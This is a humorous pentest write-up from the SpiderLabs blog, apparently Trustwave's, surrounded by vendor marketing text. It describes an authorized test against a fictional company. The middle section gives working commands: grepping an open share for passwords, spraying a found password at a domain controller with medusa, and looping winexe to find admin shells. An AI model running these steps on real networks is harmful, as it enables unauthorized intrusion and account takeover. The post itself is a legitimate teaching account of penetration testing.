Trustwave SpiderLabs Uncovers Ov3r_Stealer Malware Spread via Phishing and Facebook Advertising. Learn More

Trustwave SpiderLabs Uncovers Ov3r_Stealer Malware Spread via Phishing and Facebook Advertising. Learn More

Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

Database Security

Prevent unauthorized access and exceed compliance requirements.

Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

It Takes Two to Tango (myself, and your unprotected file share)

BananaStand learned from last time (to see last time, go here ). Systems were patched, ACL's were locked down, SIEM was tuned, and the security team got a new coffee pot just to help keep them on edge. Round 2 of our test started early on a Monday morning from within a far away remote office full of developers. At first, I didn't find a thing. I spent what seemed like weeks looking for a way in. I started to doubt my life as a pentester, and began to think if I too could sell frozen bananas to pay the bills. It couldn't be that bad, I'm a fan of bananas. Set my own hours, hone my salesman skills, get my daily allotment of potassium… Then, just as I was drafting my resignation email, I saw a flicker on my terminal:

[+] Attempting to map shares on  Mapping: OK, Listing: OK

A share we can access! I save my resignation email as a draft, and start enumerating this machine. Looks like a developers OSX machine, with the test_share directory shared out to the world. I mount the share and start digging around. Looks like some old DB import scripts, snippets of source code, test data, Sharon.avi (which im afraid to click on), and various other nuggets of gold. As you should do with any unknown files, I grepped through them for 'password':

# grep -ri password /mnt/test_share/./test_share/archive/Test/ab2.php:define("PASSWORD", "chillyBanana8"); // Your default super-secret password../test_share/archive/OLD/test/config.php:// username and password to log onto db server./test_share/archive/OLD/test/config.php:$dbpassword='gigglebits';

Awesome, some potentially valid passwords. I tried connecting directly to the db, but it was offline. I bet that chillyBanana8 password is used in more places than this. I wanted to try it against some domain users, so I grepped through the share with a regex that would extract every email address ending in, giving us a nice list of 35 or so users. Then, I fired up medusa with our userlist and the password we found in the source code against a Domain Controller:

medusa -h -U users.from.source.code -p chillyBanana8 -e ns -M smbnt...ACCOUNT FOUND: [smbnt] Host: User: gmbluth Password: chillyBanana8 [SUCCESS]

Great! Now we have a valid user account on the BananaStand domain. My next step is to see where this little guy has admin access. Lets just write winexe into a quick for loop. Where we get 'ACCESS_DENIED', we don't have administrative access to the system. Where we get a shell, we do :)

for i in $(cat smb.hosts); do echo $i; ./winexe -U mbluth%chillyBanana8 --uninstall //$i cmd; done10.2.1.25ERROR: Failed to open connection - NT_STATUS_ACCESS_DENIED10.2.1.31ERROR: Failed to open connection - NT_STATUS_ACCESS_DENIED10.2.1.32ERROR: Failed to open connection - NT_STATUS_ACCESS_DENIED10.2.1.33ERROR: Failed to open connection - NT_STATUS_ACCESS_DENIED10.2.1.35ERROR: Failed to open connection - NT_STATUS_ACCESS_DENIED10.2.1.38ERROR: Failed to open connection - NT_STATUS_ACCESS_DENIED10.2.1.42ERROR: Failed to open connection - NT_STATUS_ACCESS_DENIED10.2.1.43Microsoft Windows [Version 6.1.7600]Copyright (c) 2009 Microsoft Corporation.  All rights reserved.C:\Windows\system32> ipconfigipconfigWindows IP ConfigurationEthernet adapter Local Area Connection:   Connection-specific DNS Suffix  . : BANANASTAND   IPv4 Address. . . . . . . . . . . :   Subnet Mask . . . . . . . . . . . :   Default Gateway . . . . . . . . . :

Shazam! Our compromised user account gives us admin access to the workstation (enough to run winexe / psexec and compromise the box, anyways). From here, we have any number of paths to work our way up to a higher privilege level, and then start the long hunt for access into their DMZ and recovery of critical data (most likely secret banana recipes). As I furiously type an email to my boss demanding a raise, I start to chuckle at my imagined life as a banana salesman. It wouldn't be all bad I suppose. Any way you look at it, theres always money in the BananaStand.

Latest SpiderLabs Blogs

Breakdown of Tycoon Phishing-as-a-Service System

Just weeks after Trustwave SpiderLabs reported on the Greatness phishing-as-a-service (PaaS) framework, SpiderLabs’ Email Security team is tracking another PaaS called Tycoon Group.

Read More

Physical Address Strangeness in Spam

Ten years ago, Congress passed the "CAN-SPAM Act" (also known as theYou-CAN-SPAM Act, since it defined legal spam and supersedes any stricter state-antispam laws). One of the provisions of the act is...

Read More

Trustwave SpiderLabs Uncovers Ov3r_Stealer Malware Spread via Phishing and Facebook Advertising

During an Advanced Continual Threat Hunt (ACTH) investigation that took place in early December 2023, Trustwave SpiderLabs discovered Ov3r_Stealer, an infostealer distributed using Facebook...

Read More